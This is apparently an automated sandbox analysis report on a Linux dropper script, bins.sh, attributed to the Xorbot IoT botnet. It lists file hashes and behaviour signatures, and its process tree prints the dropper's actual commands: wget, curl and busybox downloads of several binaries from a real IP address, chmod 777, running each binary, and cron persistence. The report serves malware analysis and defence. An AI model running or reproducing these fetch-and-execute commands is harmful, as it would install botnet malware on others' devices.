Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/12/2024, 04:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    30a49c0d7783fed3c1ddfe7e96376294

  • SHA1

    048cc5705f31ea4b532bbe0c1f34494c56b8ed11

  • SHA256

    ca03e417a55bb32e06dda9aab01e8dad0479d95c1e8c0b4469ce3bb5962bb977

  • SHA512

    da80c9bb93e64c53aa186afe6c4f25141aaad2b78888d13cdde1b63484cf71898bed2a8d7de304c7851c6b01605a5a0a30bdc5abadb5d38476ca5089798182ab

  • SSDEEP

    96:QW+d+qhikoTAYipJ0/JBUBtI+lOegCFRKR/JBUBt+IlTc9W+d+qhVokoTAYWjb0m:LkoTAY4J0f+lO2dRkoTAY+

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2159) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://37.44.238.68/bins/LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          2⤵
          • Writes file to tmp directory
          PID:652
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          ./LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          2⤵
          • Executes dropped EXE
          PID:683
        • /bin/rm
          rm LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc
          2⤵
            PID:685
          • /usr/bin/wget
            wget http://37.44.238.68/bins/1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            2⤵
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:687
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            2⤵
            • Writes file to tmp directory
            PID:692
          • /bin/chmod
            chmod 777 1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            2⤵
            • File and Directory Permissions Modification
            PID:696
          • /tmp/1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            ./1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            2⤵
            • Executes dropped EXE
            PID:697
          • /bin/rm
            rm 1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP
            2⤵
              PID:700
            • /usr/bin/wget
              wget http://37.44.238.68/bins/3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              2⤵
              • Writes file to tmp directory
              PID:701
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:708
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              2⤵
              • Writes file to tmp directory
              PID:715
            • /bin/chmod
              chmod 777 3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              2⤵
              • File and Directory Permissions Modification
              PID:718
            • /tmp/3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              ./3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              2⤵
              • Executes dropped EXE
              PID:719
            • /bin/rm
              rm 3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu
              2⤵
                PID:722
              • /usr/bin/wget
                wget http://37.44.238.68/bins/FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                2⤵
                • Writes file to tmp directory
                PID:723
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:730
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                2⤵
                • Writes file to tmp directory
                PID:742
              • /bin/chmod
                chmod 777 FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                2⤵
                • File and Directory Permissions Modification
                PID:746
              • /tmp/FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                ./FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                2⤵
                • Executes dropped EXE
                PID:747
              • /bin/rm
                rm FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F
                2⤵
                  PID:749
                • /usr/bin/wget
                  wget http://37.44.238.68/bins/veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  2⤵
                  • Writes file to tmp directory
                  PID:750
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:753
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  2⤵
                  • Writes file to tmp directory
                  PID:754
                • /bin/chmod
                  chmod 777 veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:757
                • /tmp/veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  ./veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  2⤵
                  • Executes dropped EXE
                  PID:758
                • /bin/rm
                  rm veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt
                  2⤵
                    PID:761
                  • /usr/bin/wget
                    wget http://37.44.238.68/bins/VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                    2⤵
                    • Writes file to tmp directory
                    PID:763
                  • /usr/bin/curl
                    curl -O http://37.44.238.68/bins/VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:772
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.68/bins/VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                    2⤵
                    • Writes file to tmp directory
                    PID:781
                  • /bin/chmod
                    chmod 777 VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                    2⤵
                    • File and Directory Permissions Modification
                    PID:785
                  • /tmp/VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                    ./VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:786
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:789
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:790
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:791
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:793
                        • /bin/rm
                          rm VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7
                          2⤵
                            PID:800
                          • /usr/bin/wget
                            wget http://37.44.238.68/bins/iam5WbIjLkGzuHY4yB6vKABmBvqDboDyNe
                            2⤵
                            • Writes file to tmp directory
                            PID:803

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/1nNub9H7lyTmbV4l0z6KBI497lKSJ6kWwP

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/3ISh2Ajca4bR1NSmGjtdZV7IsZ3YW9CXEu

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/FYPtVj3QJyGEo6PuBBDMNnck3BmIq45y2F

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /tmp/LhDYV1ItQfV9hTmzrRe4thfHWVMc1hP7rc

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/VV3tIMm5y64mngoLqxrTUL2MpPpPZYcLl7

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/iam5WbIjLkGzuHY4yB6vKABmBvqDboDyNe

                          Filesize

                          41KB

                          MD5

                          6ea07d285c0c6de8fa1d93d3ccaf1732

                          SHA1

                          261a4e54db696619fb333f732f50cb400ce45a0f

                          SHA256

                          a99febc66a0f110d5eb05a72df6162ef844dfe58a2e75e179db4d0d906af5ca0

                          SHA512

                          f1f45e2507a5888dc61133a3ea443f5725c7ad427e8069fa2ed3c602f9f255562206d592158232df80dc4165c566d8bf3160079f912bc259c8cf196df95352f6

                        • /tmp/veUPkI0kSrkShPCrlqReDQD7nYtapyBoqt

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /var/spool/cron/crontabs/tmp.ST6fvP

                          Filesize

                          210B

                          MD5

                          080f71e169b27d4a83887e3849008f20

                          SHA1

                          8223f637ebbcf8607276f8600c2fa40f2a8ca1b9

                          SHA256

                          2e4f131116a9cbb1ac606bac271598532e646d8119b93037dade17da82c57ebc

                          SHA512

                          bf7270aa106b6fbe2dc1de41e239589af189e3e1e3878d7cfb156cb56cab0005621ad09e4583b73273abf5d0b049664146a9b09da40257beb81e321cd1fa861e